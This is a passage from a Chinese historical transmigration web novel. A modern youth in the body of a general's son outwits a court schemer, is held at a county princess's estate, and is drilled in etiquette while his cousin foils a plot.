小弟说的话,乍一听像是要和他争送布料给县主的美差,但其实每一个理由都戳中了严赋的隐忧。 南川守将还未入都城就与实权亲王往来,就算他们严家问心无愧,也左右不了天子的疑心。 偏偏舅舅严镇对公孙瑕毫无提防,甚至可以说是予取予求。 但是如果送礼的人换成小弟,余地就要宽裕许多。 一来小弟没有官身,二来小弟没有及冠,以他的年纪代表严家去讨好县主,分量不够。 但他偏偏又是严镇的嫡子,他去送布料,礼数是够了。 如果公孙瑕真有歹意,让严澈去送这些礼物,未尝不是破局之法。 严镇是真怕小儿子把那些珍贵的布料烧了,只能松口。 “我看,你就不是我儿子!你是我祖宗!就劳烦赋儿把这臭小子送去娉霞山庄附近。” 严镇又叮嘱了半天,意思是严澈真要是搞砸了这个差事,别怪他这个当爹的打断他的腿。 严澈一边跟着老爹重复那句“打断你的腿”,一边把白眼翻的灵动到让人发笑,大哥看着他那模样,忍不住摸了一把他的脑袋,这不还是自家那个小弟吗? “男人的 头,女人的腰,不能乱摸。” 严澈一本正经地挥开了大哥的手,但是却没有对他发火。 “哟,摸了能如何?”严赋笑盈盈地反问,小弟难得跟自己打闹,严赋心里只想能再亲近一些。 “那大哥你就得嫁给我!天天给我捶腿捏肩膀,养我一辈子!” 严澈没心没肺地喊完就跑,留下严赋无奈地捏了捏眼睛。 “臭小子,你去哪儿——过来跟爹过几招!” “要见县主咯!我当然是要去打扮一番!” 开什么地狱玩笑,他对严家枪的印象就刚才那么一丁点,真要和他爹过招,一枪就能开下辈子的副本了。 严澈回了房间,打开箱笼翻找了半天,发现自己的衣服基本都是深色的,看来无论在哪个世界,长辈们的想法都是“男孩子满山跑满树爬,深色的衣服才经脏”。 可他现在不要经脏,要臭美啊。 东翻西找,终于找到一身浅色的长衫,估计没怎么被穿过,抖开来皱巴巴的。 严澈比划了一下,肩宽衣长都还合适,质感也很不错,应该是家里人给他提前准备了在都城里的权贵宴席上穿的。 他找人给熨平整了,穿上了身。 高马尾虽然帅气,但和这一身不搭,他倒是想给自己换个发型,但他在现代从小到大都是短头发,这满头青丝滑不溜手,他梳拢了左边的,右边的又掉下来,双手左右互搏,这发丝比书穿剧情还叛逆。 严凝路过他的窗外,看着小弟头疼的样子笑出声来。 “哈哈!你这梳头全靠蛮力,束发全看天意的样子,还真是有趣有趣。” “阿姐救我……”严澈转过头来,双眼巴巴地看着严凝。 严凝的心立刻就软了,只能进屋给小弟梳头发。 严澈盯着铜镜,他怀疑阿姐的手上是不是有什么法术,怎么不消片刻头发丝就妥帖地被她都握手里了? 这么一缠,一绕,再一拧,发髻就出来了。 只是到了下一步,严凝在桌面上找了半天只有一条深色发带,和小弟这一身实在不搭。 这时候敲门声音响起,严澈喊了一声“进来”,没想到竟然是大哥。 他的手里拿着一条天青色的发带,似笑非笑地看着严澈,“你用不用?不用我就拿走了。” “用!用!用!”严澈眼睛一亮,生怕大哥反悔一般,伸长手臂就把发带拽过去了。 严赋微微一怔,和严凝互相交换目光,多少年过去了,小弟还是第一次这样直接坦荡地接受他这个大哥的好意。 铜镜里的大哥就在他旁边看着,阿姐垂眸带着浅笑,将发带给小弟系上。 大哥和阿姐沉默着珍惜三人和睦相处的时候。 谁知道下一刻,这位小祖宗会不会又闹幺。 但此时的严澈却处于水仙状态,左看右看,对自己的五官气质都非常满意。 “哇,我可真是朗目星眸玉树姿,一笑清风满画堂啊!” 严赋:“啊?” 严凝:“呃……” 这一路上,小弟又看了些什么话本子? 5. 我家小弟开智了? 打扮好了,严赋收好了拜贴,严凝亲自对着礼单把绛珠织锦还有其他的珠玉钗环都给清点了一遍。 严澈咬着狗尾巴草,抱着胳膊在旁边凉凉地看着,“有什么好清点的。傻子都看得出来,公孙老登真正送给县主的礼物不是这些叮叮当当的死物。” 严凝没好气地反问:“哦,送的不是这些,那是什么?” “他明摆着是想卖我大哥。要卖他就该卖自己儿子,哦哦哦,那老登亏心事做太多,至今无后!” 严凝哑然,本着身为长姐的责任,她应该制止小弟这么犀利直白,但她心底深处有点畅快怎么办? 严澈还在持续输出,“再不然他卖自家族中子弟啊!啧啧啧啧,公孙家好像没几个长得像样的,估摸他想卖也没人看得上!所以他的如意算盘就打到严家来了!这无本买卖,便宜死那老登了……” 公孙瑕能给他们爹吹失心风,他就不能给阿姐吹耳边风吗? 风吹多一点,等自己给老爹吹风的时候,阿姐也能帮着一起吹,人多力量大。 “老登是什么意思?” 带着笑意的声音从身后响起,严澈想也没想就回答说:“就是‘不怀好意老东西’的意思!” 说完,严澈才回头看见大哥。 严赋微歪着脑袋,唇上仍旧是那股子“你做什么我都原谅”的笑,但目光里却透露出一丝探究。 看吧,随便用力看,你就是眼睛能发射X光把小爷看穿了,我也已经是严澈了。 “我怎么记得你一直都很喜欢公孙世叔啊?” 严赋信步上前,又伸手摸了一下小弟的脑袋,小弟虽然挥开了他的手,但并没有跟他生气。 “你说他文质彬彬讲道理,不像你爹,动不动就拎着你去跪祖宗祠堂。而且他总夸你心无城府真性情,每次来信都要给你捎上一堆好吃好喝的,把你当子侄供着,舍不得你吃丁点苦,甚至承诺了以后给你在都城里寻一门好亲事,安安稳稳过一辈子就行。现在,你说他‘老登’,不合适吧?” 后面那句话,严赋的声调拉得很长,目光也有深意。 严凝也跟着数落,“对对对,你小时候还说过,要是能当公孙叔叔的儿子就好了!” 哦,原来公孙瑕不止给严镇吹失心风,还给严澈送了那么多糖衣炮弹呢。 主打一个父子二人都不放过。 “我现在也是博览群书的人了!”严澈抬起下巴,露出了骄傲的表情。 “得了,你从来不看正经书!都是些老掉牙的话本子。”严凝不屑地挥了挥手。 “别小看话本子啊,话本子里装着的可都是世间人心。” “哦,是吗?”严赋看着小弟那劲儿劲儿的小表情,不自觉泛起了笑。 “公孙老登夸我心无城府,不就是在说我缺心眼?” 严凝乐了,“原来你知道?” “赞美我真性情不就是希望我把任性和胡作非为当家常便饭?” 严澈转身避开了大哥想要薅他脑袋的手。 “好吃好喝又要安排好亲事给我,确定不是给我爹画大饼,顺带把我养成个小废物?” 严澈摊了摊手,耸着肩膀,狗尾巴草跟着上下摇晃,还是原来那副混不吝的模样。 “这叫‘捧杀’,我懂!” 大哥垂着的手指很轻微地勾了一下,这些话他早就想对小弟说了,只是每次只要一开口,小弟就会把他推得更远。 没想到今天,小弟竟然自己说出来了。 阿姐放下东西,一把掐住小弟的耳朵,“这些话你在我和大哥面前说说就算了,要是敢当着爹的面说,小心他打断你的腿!” 严澈歪着脑袋踮着脚,一如既往跟着复述“打断你的腿”那几个字,还不忘维持人设艰难地翻了个白眼。 大哥在一旁看着,忽然问:“这些话,谁跟你说的。别告诉我这真是话本子里看来的。” 严澈心里紧了一下,果然大哥是不好糊弄的。 他们距离都城越来越近,严澈没有时间让大哥一点一点接受现在的他。 都城就是另一个战场,严澈指望不了父子兵,只希望上阵至少能有亲兄弟……表的也行! 他必须要让智商和能力都在线的严赋不要一直怀疑他,尽快站在他这一边。 “梦里面,阿娘说的。”严澈小声道。 果然,听到早逝的舅母,严赋的心就软了,没有再继续追究下去。 在严赋看来,小弟能对公孙瑕产生警惕,对于整个严家来说只有好处没有坏处。 剩下的,找机会再慢慢问。 礼单清点妥当,他们该出发前往娉霞山庄了。 严澈本人没有学过骑马,借口自己不想晒太阳怕汗湿了这身衣衫,躲进了马车里。 大哥严赋骑马随行。 车帘偶尔被风掀起缝隙,严澈就能看到大哥,还真是让人羡慕啊。 一身青衫束腰,背脊挺直如松,长腿轻控着马腹,松弛又从容。 大概是感觉到了马车里的视线,严赋侧目瞥过来,与小弟的视线相触。 如果是从前,严澈会翻个白眼别过脸去,但这一次他直接咧开嘴朝着大哥笑。 严赋摸了摸鼻尖,他很想问小弟在笑什么,又憋了什么坏,但他知道问了也没结果。 谁知道严澈干脆凑过脑袋趴在窗上,帘子滑稽地搭在他的脑袋上,他目不转睛看着严赋,仿佛不把严赋从马上看下来就不罢休。 他这个大哥啊,一身沙场锐利都能收敛在温润气质里,看着闲散,但又能在闲散中自现锋芒。 终于,严赋被小弟看得不自在了,伸手扣住他的额头,将他推进马车里。 严澈得意洋洋地想:唷,这是被我看得害羞了呢。 没过多久,严澈脑袋歪在一边,睡得差点流口水。 个把时辰过去了,严赋的手在车窗上拍了两下,他好像早就料到小弟睡着了,淡淡地说:“醒醒,娉霞山庄到了。” “嗯?”严澈抹了一把脸,掀开车帘走出去,看见山庄朱红色大门的那一刻,发出了一声由衷地感叹。 真是富贵逼人啊!!! 大门高阔,屋檐铜瓦还带着鎏金光泽,门前两座白玉狮子一看就是大师作品,威武传神。 严赋示意侍从上前 敲门递帖子,转头问严澈:“真不让我进去?万一你得罪了县主,没有人给你圆场,到时候把你揍一顿都是轻的。” 严澈晃了晃手指,“大哥,你得有咱们严家顶梁柱的自觉。这种无效外交,交给我就是了。” “嗯?”严赋好整以暇地看着小弟,虽然他没听过“无效外交”这个词,但不知怎的从小弟的嘴里说出来,他就是能心领神会。 “毕竟我的亲爹就算在陛下面前没有存在感,但好歹也是个镇守边关多年的正四品将军。而我又是独子,未及弱冠,年纪小就有不懂事的借口。真要是得罪了县主,她也不能打死我,否则多的是御史言官参他们父女。但大哥你就不同了,你只是我爹的外甥,六品的护军,分量太轻。” “有道理。”严赋点了点头,眼睛里明显写着“我看你接下来要唱什么戏”。 “你就别在这儿等着了。我听说距离这里不远有个天澄楼,饭菜不怎样,但酒不错。要不你去买几坛子酒,带回去给老爹尝尝。” “买……酒?” 严澈勾起嘴角笑了一下,意味深长地凑近了看着严赋的眼睛说:“千万大方一点,请楼里那些才子儒生们喝几杯酒,他们嘴皮子和笔杆子都厉害,以后也能为你说几句好话。” 严赋闭上眼睛,露出了了然的表情。 看来他这位小弟是真的开智了。 严赋如果留在山庄门外,保不准又会被县主请进去,那么公孙瑕还是有机会以此为理由给他造谣抹黑。 但如果严赋出现在了天澄楼,那么多儒生给他当不在场人证,公孙瑕就是造谣杀伤力也就不足了。 “你知道公孙瑕真正的目标并不是我吗?”严赋睁开了眼睛,看向小弟。 “知道。你只是诱饵,他想要针对的是晟王。” “谁告诉你的?”严赋的目光陡然沉了下来,审视的意味沉重地压在了严澈的心头。 果然,在战场上真刀真枪拼出来的严赋,哪怕看着像个温润无害的读书人,他内里的气场也是非常强大的。 “梦里面,阿娘说的。”严澈顶着压力抬了抬下巴。 阿娘搬出来百试百灵。 果然,严赋收敛了气场,垂下眼,神情缓和不少,甚至有些伤感。 他知道小弟的改变绝不是梦里见到阿娘那么简单,可一听到他提起早逝的舅母,严赋就觉得不该逼小弟说自己不想说的事。 “梁椿,你跟在澈儿的身边,保护好他。”严赋侧过脸,对跟随了自己多年的心腹说。 梁椿点了点头。 虽然他对严澈这个小少爷是一点好感都没有,但无奈主子对舅父严镇感情深厚,爱屋及乌,也是容不得小表弟严澈出任何事的。 山庄的门在沉闷的声音里缓缓打开,管事的收了拜贴,派了人来将那十几个箱子抬进去。 管事朝着严澈做了一个请的姿势,达官显贵他见多了,面对严澈也懒得露笑脸了,语气平淡地说:“多谢少将军亲送诸物,庄中略备茶果点心,少将军不如进来小坐歇息。” “好嘞。” 严澈露出没心没肺的笑容来,梁椿跟在他的身后。 6.大神不入小彀 梁椿也是在南川长大,没见过这样的山庄。 他脚下的第一步就是青石板上雕刻着的云纹,太过精致,这让他犹豫着要不要落脚。 倒是走在前面的严澈自在的很,丝毫没觉得有什么特别。 他们路过的廊柱皆是花鸟浮雕,飞檐翘角上悬着鎏金的风铃,亭台楼阁环绕着碧水窈荷,红艳艳的锦鲤在水中徘徊,石景层叠仿造的便是南萦山的起伏之姿,这些对于梁椿来说很新奇,但严澈心里有点失望,觉得比起他小时候旅游去过的拙政园还差点意思。 进了厅堂,严澈坐了下来,四下环顾。 这里的陈设都是花梨和紫檀,造型别致的青瓷彰显主人的品味,鎏金重器彰显皇亲气场,熏炉吐露出袅袅轻烟,闻着好似沉香。 严澈虽然觉得这些很值钱,但又搬不回现代,卖不了票子,还不了花呗,也就没太大兴趣了。 倒是墙壁上悬挂着好几幅画让严澈觉得有意思。 画上的都是笔墨写意的美男子,廊下吹笛、月下舞剑、策马背弓,各有各的风骨。 端上来的点心确实精致,但严澈只吃了一口就觉得甜得腮帮子发疼,他咕嘟咕嘟灌了两口茶水,起身晃到了那些画前。 跟随他的梁椿咳嗽了好几下,一直低着头没有看这些画。 在梁椿看来,这些应该都是县主的“收藏”,欣赏这些画仿佛在说自己也想成为这画中的一员,多少有些谄媚。 “咦?梁椿你喉咙不舒服吗?那这些点心你别吃,太甜了剌嗓子。” 梁椿:算了。县主要真把你给收藏了,也算替天行道。 就在这个时候,身着锦衣的奴婢仆从列队而来,前排的拎着香炉,香烟如同瀑布流泻开来。 一张贵妃椅被四个人抬着,稳妥地送到了厅中的主位上。 贵妃椅上侧躺着一个女子,她单手撑着下巴,一身素色绫罗,头上没有任何装饰,只有光泽莹润的玉簪绾发。 女子眼底寒星覆霜,眼尾微扬,藏着若有若无的魅惑,却又透出几分皇家贵胄的凛然不可侵犯。 这难道就是瑶昌县主? 和里那个弄权专横、酷爱收集美男子的形象……不大符合啊。 瑶昌县主缓慢抬起眼,瞥向严澈的方向,鼻间发出一声轻哼,慢条斯理地开口道:“听说严将军的外甥颇有儒将风采,本县主见过温文尔雅的书生,也见过意气风发的将军,倒是没见过谁能将两者气质合而为一。没想到严将军舍不得自己的外甥,倒是把亲儿子送来了。是觉得本县主什么都吃得下吗?” 听到这句话,梁椿顿觉对方在侮辱自己的主子,可惜进来的时候解了剑,此时只能扣紧桌角隐忍不发。 “诶,说真的县主这些收藏确实比不上我大哥一根头发丝儿。” 严澈一本正经地抖了抖袖子,自信满满地说。 “哦?”县主有了几分兴趣,缓慢地坐了起来,“那还不让他来,是看不上本县主,还是看不上晟王?” “怎么会看不上呢?就是太敬重了,所以眼看着有人要引县主入彀,我们严家得罪不起献彀之人,只能换上我这个小彀,县主这尊大神进不来就不会被困住了。” 严澈还是一脸没心没肺的笑,但县主的神色比之前更加冷淡了。 梁椿心想:完了完了,距离被县主打断腿应该不远了。 没人知道,严澈其实没面上看起来那般轻松,他的心弦紧绷,喉咙都有些发疼。 他不知道自己所做的是对是错,但为了严家,他只能一脸无惧地装下去。 严澈走到第一幅画前,上面的古文扭来扭去,也不知道是啥字体,他眯着眼睛辨识了许久,才看懂。 “严小将军觉得本县主的藏画如何?你亲自来给本县主送礼,是也想入我画中?” “将军二字不敢当,毕竟我活到现在,正儿八经的战场没上过,也就在城楼上吆喝几声,文不成武不就。我不够格入县主画中。” “哦,你还有这样的自知之明?” “那是。县主收藏的可是户部郎中柳洄、翰林院侍读学士程远、都城西郊大营的衡野将军明承,各个都是青年俊杰。从县主将他们的画像高高挂起,官职姓名都一应俱全,他们的前途也就止步于此了。” 严澈看向瑶昌县主,但愿自己这个古代半文盲没有认错这些繁体字,念错了人家的名字就尴尬了。 它们都像极了醉酒的蜈蚣,每一笔都是贪食蛇在摇摆。 老实说,在没看到这些画像,应该说是没认出画像上的字之前,他还真以为瑶昌县主是这大衡朝版本的山阴公主呢。 但现在,如果自己的猜测没有错的话,瑶昌县主未必是敌人。 反正他严澈就遵循一个原则,团结一切可以团结的力量。 县主沉默地看着严澈,似乎在等着这个不知天高地厚的小子自觉僭越,低头认错。 可偏偏严澈就是一副无知者无畏的样子,继续看着其他的画。 梁椿的后背已经汗湿了,他在观察着院子里有多少侍卫,县主若真要打死这个宝贝疙瘩,自己有没有本事带他逃出去。 最后结论是:拉倒吧,他梁椿估计只能慷慨赴死了。 县主抬了抬手,身边的随从纷纷退离。 其中一位侍女还来到了梁椿的面前,微微弯腰做了一个“请”的手势,这情况超出梁椿意料之外,他看向严澈,这家伙竟然还背着手装模作样地看画。 小祖宗你在装什么,你看得懂个鬼! 侍女再次弯腰,又请了第二遍。 梁椿深吸一口气,不得不起身离开。 忽然之间,整个厅堂空旷起来,只剩下县主和她的心腹侍女,还有慢悠悠晃回到县主面前的严澈。 “无论是柳洄、程远还是明承,他们可都是品貌双全的好儿郎,怎么被严小郎君说一说,就没有前途了?” 县主说话还是慢悠悠的,习惯了快节奏有效沟通的严澈听着有点着急。 别着急,别着急,这里是古代,人行车马慢,一旦快起来说话做事不够妥帖,一不小心就会被县主砍号,还未必可以重来。 严澈回到了自己的矮几前,盘腿坐了下来,他看到果盘里的葡萄,总算起了些兴趣。 好久没吃过新鲜水果了! “事先说 好,如果在下说得不对,县主就当笑话听听。但如果在下不小心说中了,也请县主饶过小的性命。” 他的后半句话,让瑶昌县主的唇角缓慢勾起。 “想说什么就说吧,本县主可不是动辄取人性命的女魔头。” 呵呵,信你这句话的人脖子得有多硬啊! “那这就要从县主的父王说起了。晟王殿下是陛下的一母同胞,先帝亲封的王爷,在皇室宗族之中地位非凡,培养的门生势力遍布朝堂,就连封地在诸王之中也是最为富庶的。如此这般,怎么可能不被忌惮?” 说完,严澈还特地指了指头顶,暗示“天子”。 瑶昌县主抬起茶盏,抿了一小口,“那和本县主与诸位才俊的情分又有什么关系?” “关系可大了。县主喜欢谁,说明曾经在这个人身上花费了不少资源手段去栽培,他们与县主谈情说爱,县主许他们大好前程,本是你情我愿的好事,可这在上面那位看来,他们都是令尊的党羽。” 县主不置可否。 “就算这些指名道姓、生怕别人不知道的画只是县主单纯的小爱好,与结党营私无关。但对于上面那位来说,宁可误会也绝不放过。更何况,我猜他们确实得到过县主的帮助,只要派人去查,他们与县主吃过几次酒,赏过几轮春,都一清二楚。” 严澈观察着县主的表情,县主的指尖在茶盏边缘有一下没一下地轻轻敲着,“本县主不要你的小命,想什么就说什么吧。” “县主挂他们出来,多半因为他们都是墙头草,得过令尊的提携却又另攀高枝。如此这般,就是要让他们付出代价。至于县主是不是真有心上人……” 瑶昌县主的眼帘抬起,冰冷地瞥向严澈。 严澈却耸了耸肩膀,笑道:“跟我没关系。” “呵。”瑶昌县主轻笑一声,“话都被你说尽了,我就是否认也无济于事了。不过你说有人要引本县主入彀又是怎么回事?” 严澈叹了口气,晃了晃脑袋。 “唉,严赋其实是我的表兄,虽然并非我爹亲子,但自小教养在身边,我爹还指望着他光耀门楣呢。” 瑶昌县主轻哼了一声。 “今天来送礼的如果是严赋,无论和县主能否两情相悦,以他的为人都一定会离开。而在这离开的路上,保不准就有人会打着县主的旗号埋伏暗算,让他在某个暗无天日的地方待上两日,要他向县主屈服认错。县主猜猜看,我爹会怎么办?” 瑶昌县主下意识捏紧了茶盏,唇上却是不在意的笑,“怎么,严将军还能参本县主吗?” “会,当然会啊。那可是我爹最看中的外甥呢!参县主的折子,我打赌已经有人提前帮忙写好了,齐王殿下幕僚众多,那文采自然是闻者伤心、见者流泪。折子抵达圣听,总算给了陛下一个理由斥责晟王爷纵容县主,品行不端。” “这算什么大事,参我父女的人还少吗?” “这不,正好晟王爷的封地和齐王封地接壤的地方有条矿脉,名曰朝露山。” 县主的指尖勾了一下,虽然很微妙,但被严澈观察到了。 看来,自己赌对了。 7.草还是嫩的香 严澈慢悠悠道:“这朝露山,开采起来本来就有分歧。但县主爱而不得、强行软禁官员亲属的谣言一出,必然惹来朝野非议。陛下正好借机敲打晟王,整个朝露山脉说不定就都归了齐王。好东西自然是要留给亲儿子的嘛。” 县主的神情冷淡了下来。 而严澈所说的,并不是胡扯,而是里发生过的剧情罢了。 县主瞥了一旁的侍女一眼,那侍女就快步离开了,多半是要找心腹探子沿路查看到底有没有可疑之人,好应证严澈的猜测。 若不是看过,严澈也想不到公孙瑕能“无中生有”到构陷县主的地步,可从结果反推过程,这主意还真不赖。 “听你的意思,是齐王为了朝露山脉在设计我父王。这也太夸张了吧?我们晟州三郡富庶的很,小小的矿脉根本不至于大动干戈。” “那就要问县主,那朝露山里的矿到底是什么了。反正我们严家既看不到,也猜不透。” 按原著所说,那里面其实是铁矿,齐王争夺铁矿多少也是为了日后谋大事留的后手。 自大衡开国以来,铁矿官营,就算是王爷也无权私采。 晟王起初并不知道矿脉下的秘密,毕竟铁矿几乎都在齐王封地那一边,直到后来齐王起兵成功了,晟王才后知后觉。 如今,算是严澈提前来提醒他们了。 瑶昌县主略微换了个坐姿,“那你们严家为什么不干脆就顺了齐王的意呢?派你大哥过来,让你大哥受点委屈,圣上说不定会下旨安抚,给他升官。” “哈哈,所以说齐王蔫坏呢。他这是一石二鸟啊,用我严家来陷害晟王和县主,又打算借晟王的怒火来灭严家。县主,陛下如果真的降罪了,你和晟王自然会认定严家是齐王的马前卒,晟王爷一时半会儿地拿捏不了齐王,还能找不到机会打压我们严家吗?” 县主少有地笑了一下,“我父王确实吃不了这哑巴亏,你们严家会死的很惨很惨。” “严家一垮,南峻关的五万兵权就腾挪了出来。齐王和他的谋臣们再努把力,应该能拿下这个位置。反正不管怎么说,令尊都被忌惮着,南峻关的兵权,他注定吃不到。” 听到这里,县主的后背起了一身凉意。 这个陷阱其实真的太简单了,直白得让人一时半会儿根本反应不过来。 但朝堂势力角逐、晟王的心性、圣上的心思都被牵扯其中,齐王身边的公孙瑕实在可怕。 瑶昌此时暗自庆幸,来的是严镇的小儿子,因为齐王就算造谣说她和这个比自己小了十多岁的少年有关系,传到皇帝的耳中,皇帝只会觉得好笑,甚至转过头来觉得其中有阴谋。 “县主,话已经说开了,公孙先生为县主准备的厚礼也送到了,在下这就告辞了?”严澈笑着问。 赶紧的,赶紧的,放我走啊!你们去跟齐王斗,我要功成身退了! 这时候,另一位侍女走了进来,俯首在县主身边小声说着什么。 如果是派出去的探子,绝对不可能现在就回来。 但有人当着自己的面和县主讲悄悄话,严澈下意识忐忑不安。 是自己猜错了什么?还是发生了什么变故? 县主听完之后,眼眸轻抬,目光里都多了一丝幸灾乐祸地笑,“严小郎君,本县主见你俊俏的很,虽然年纪小了一点,但是养一养,应该能满足本县主的胃口。你,就留在这里吧。” 说完,瑶昌县主竟然起了身,搭着侍女的手腕慢悠悠走下来。 “啊?我……和谁的胃口?” 严澈宛如晴天霹雳。 县主,要不要听听你都说了些什么?你不是一直很专情,只喜欢熟男吗? “严小郎君,被你猜到的秘密那么多,思来想去也就只有两个结局,要么叫你英年早逝,要么让你成为本县主的珍藏,放心,是绝对不会挂出来的那种。” 严澈的脑子一片空白,他才不会自恋到以为县主真要包养他,但把自己留下,到底是要干什么? 他真的超级想跑路,但无奈被侍卫包围了,被带到了一个非常雅致的小院子。 他还没站稳,侍女们就在桌上放满了甜腻腻的点心和水果,这是要变成甜宠文了? 此刻,他只能坐在廊下,把点心掰了喂那些肥硕的锦鲤,它们的今天就是自己的明天。 希望县主把梁椿放走,这样梁椿就能去找大哥……好歹给他准备一些嫁妆? 过了小半个时辰,一个满脸严肃的老头儿来到了严澈的面前,他后边还跟着好几个面色看着就不好惹的侍卫。 “在下简禾,曾担任礼部礼郎,有幸教导过三届金科状元朝堂礼仪,还有不少世家公子。今天就由老夫来教导郎君各种礼节。” “啊?” 严澈睁圆了眼睛,他穿的又不是什么后宫争宠文,学什么鬼的礼仪啊? 哦,也不对,他现在就是县主后宫的一员! 这个剧情歪到哪里去了? 严澈在这边如遭雷击,那边大哥严赋在天澄楼过得挺不错。 他打了酒,照着小弟出的主意请了全楼的人喝酒,还和几个颇有眼界的儒生畅聊了大半个时辰。 等到他离开天澄楼的时候,竟然在酒楼门外发现自己的亲从梁椿就坐在小弟的马车前,低着头一脸纠结,像只霜打的茄子。 “梁椿,你怎么在这儿?澈儿在车里睡觉?” “不是的……主人,瑶昌县主将郎君扣下了,然后又把我给碾出来了。县主还让我带了封信给你,说如果你真是聪明人,看了就知道该怎么做。” 说完,梁椿将那封信从怀里取出,交给了严赋。 既然是让他的心腹来送信,而不是派人来斥责,说明是县主有事情要他去做,严赋紧绷的心弦瞬间舒缓。 打开信之后,严赋从头看到尾,略微沉思了一会儿,就将它烧了。 “主人,我们接下来怎么办?还是赶紧送信给公孙先生,让他劝县主把小郎君还回来吧!” “不用,小弟在县主那里应该会过得很好。带上这些好酒,我们去拜访一下玄津先生,他是鸿鹄山的上一任山长,满腹经纶,正好能请教学问。” “什么?那……小郎君怎么办?” 现在是请教学问的时候吗? 严赋淡然一笑,“小弟是个有福气的。他不是对娉霞山庄心心念念 吗?就在那里多享几天的福气吧。” 梁椿:小郎君应该会觉得,这福也不是非享不可吧。 其实严赋遵照县主信里的安排去拜访大儒,自然而然地避开了返程途中为他设下的陷阱,不给公孙瑕算计他的机会。 且看县主与公孙瑕斗法吧。 严澈苦不堪言地学习什么稽首、空首、顿首之类的礼仪,脑瓜子嗡嗡疼。 就在他脖子都要断了的时候,县主和公孙瑕开始了你来我往的试探与交锋。 她直接去了一封书信给公孙瑕,意思是自己很喜欢送来的礼物,更喜欢来送礼的严家小郎君,要把他留下来好生栽培。 这信写的语意模糊,果然最高端的暧昧,就是通篇看起来非常正经。 特别是这“栽培”二字,公孙瑕竟然捉摸不透其中意思。 毕竟女人心,是天天换的密码锁,是进得去出不来的迷宫阵啊。 县主还破天荒地向公孙瑕询问了严小郎君的喜好。 公孙瑕彻夜孤坐于案前,思量再三,还是事无巨细地告知县主。他也想知道县主的葫芦里卖的什么药。 没多久,安插在县主身边的探子回报,说严澈真的被扣下来了,所住的小院戒备森严,探子实在进不去。 听说严小郎君妄图爬墙逃跑,都翻上墙头了还被硬生生拽下来,被逮了好几次。 这要是换了旁人,早就被打断腿了,反倒是县主竟然笑着说:“瞧瞧,这腰腿都是劲儿,天生的,完全不用补。” 公孙瑕回信说严澈“喜贵而流光者”,翻成大白话就是“喜欢亮闪闪的珠宝”,县主就准备了镶嵌了各种珠宝的匕首、马鞍、腰带等等。 一开始这些东西被送进小院里,严澈的眼睛一闪一闪亮晶晶,觉得自己发财了! 但下一刻,老头子简禾就捏着戒尺,一板一眼地教导严澈,县主为尊,他得行礼接受这些赏赐。 等到他礼也行完了,腰都要直不起来了,送礼的人又把这些宝贝收走了,说什么“只是给严小郎君看看而已”。 严澈气不打一处来啊,这不就是诈骗吗? 公孙瑕的信里还说严澈“嗜甘饴,少时尤喜糖葫芦及糖饼”,这可差点要了严澈小命。 送到小院的晚饭不是糖醋排骨就是糖汁焖鸡,还有什么拔丝地瓜,根本无从下筷,他真的好想吃榨菜! 整整五日过去了,县主丝毫没有放严澈回去的意思。 而严赋挺得玄津先生的喜爱,两人畅谈诗词文章,竟然也没回驿站。 虽说严家出发的时候就留了约莫半个月赶路的余裕,但小儿子五天了都没回来,严镇非常忧心,特地写了拜贴登门,想要把儿子领回来,但却被山庄管事婉拒,还说让严将军带着家眷先行一步,过段时间县主回都城给皇后贺寿请安的时候,会将严小郎君一并送还。 严镇懵了,“给皇后娘娘贺寿?那不是半年后的事情吗?” 公孙瑕听到了这个消息,思考了起来。 从县主扣下严澈足足五天还没厌烦,再加上严镇亲自登门也不肯把这小子还回去……难不成县主终于明白了,姜虽然是老的辣,但草还是嫩的香? 8.色字头上一把刀 公孙瑕忍不住问身边服侍自己的老仆:“你觉得,严镇兄的小儿子阿澈,模样如何?” 老仆想了好一会儿,才实话实说。 “严小郎君虽偶有纵性妄为之举,但胜在直白坦荡,别有风致。若论容色,老仆观郎君双目尤为灵动,宛若那盛了桃花酒的琉璃盏,浅尝一口,自是醉人的。” 公孙瑕轻哼了一声,严镇一介武夫,儿女都生的好模样,就连外甥也是气质出众,只可惜严镇根本不善经营。 女儿嫁的一般,儿子也没有教育好,唯一有出息的外甥,他也不懂铺路,子侄辈的一手好牌终归打烂。 他随即给严镇写了一封信,嘱咐他把信照抄一下送去御史台,自然有那想要在陛下面前出头的言官会去上奏弹劾,陛下开口,一定能让县主放人。这件事不能善了,否则和严镇一般出身南川的将领日后入都城,都会被瑶昌县主之类的权贵肆意打压。 这信写的非常挑动情绪,若真是严镇看了,必然会被扇动。 只是公孙瑕没有料到,自己的这封信才到驿馆,就被严赋安排好的人提前拦截,并且还送到了严赋手中。 严赋拆了公孙瑕的信,冷笑道这家伙果然如小弟所料,想要借刀杀人,而严家就是那把刀。 他待在舅父身边多年,模仿舅父的笔迹和语气都惟妙惟肖,随即研磨回了一封信给公孙瑕,表示严家相信县主只是欣赏自己的儿子,觉得阿澈聪明有前途,愿意教导一二。这是阿澈的福气,严家怎么能辜负和曲解县主好意呢? 公孙瑕收到这封信的时候,嘴角抽搐的厉害,要不是这些年累积起来的修养,他差点就拍案而起,真想扯着严镇的领子问他,你到底对自己这个小儿子有什么错觉? “聪慧卓然?前程可期?” 这几个词拿来形容严澈,也不怕那竖子闪到腰? 事已至此,朝露山脉之争总得有个结果。 公孙瑕自然不会亲自出手,而是以子孙前程拿捏了御史台一位快要致仕的言官。 这位老人家连夜上奏:县主素无行止,蔑视礼法,拘严镇将军之子,幽于别院,日夜耽于宴乐。郎君拒不肯从,严镇将军亲往索人,县主执意不遣,行为悖逆,望陛下严惩! 承德帝差点被茶水呛到。 因为这奏疏内容太让人好奇了,他对自己这个侄女的喜好向来睁一只眼、闭一只眼,只是她怎么忽然喜欢上一个未及弱冠的少年郎?这里面肯定有问题。 服侍在皇帝身边的姚公公只能笑着应承:“老奴也是好奇啊,严家的小郎君到底多俊俏,能让县主动了心?” “你还是代朕去看看。”承德帝喝了口茶,指尖在奏疏上敲了敲,“这到底怎么回事。” “陛下放心,老奴即刻起身。” 几日后,姚公公来到别院,管事见到姚公公立刻就要去通报县主,却被姚公公制止了。 他委婉地说自己不过是听到了县主与严家郎君的事情,传闻他们二人相处甚为融洽,他就来看看这严小郎君品貌如何。 管事将姚公公带到了小院,姚公公没有见到县主和小郎君共倚春风,倒是见到了礼官简禾正在教导严澈,严格得每走一步都要注意幅度、仪态。 姚公公耐性极佳,就在远处的廊下一边喝茶一边看着,直到严澈学完了整整一个时辰的跪坐之礼,才出声把严澈唤了过去,笑着询问事情的经过。 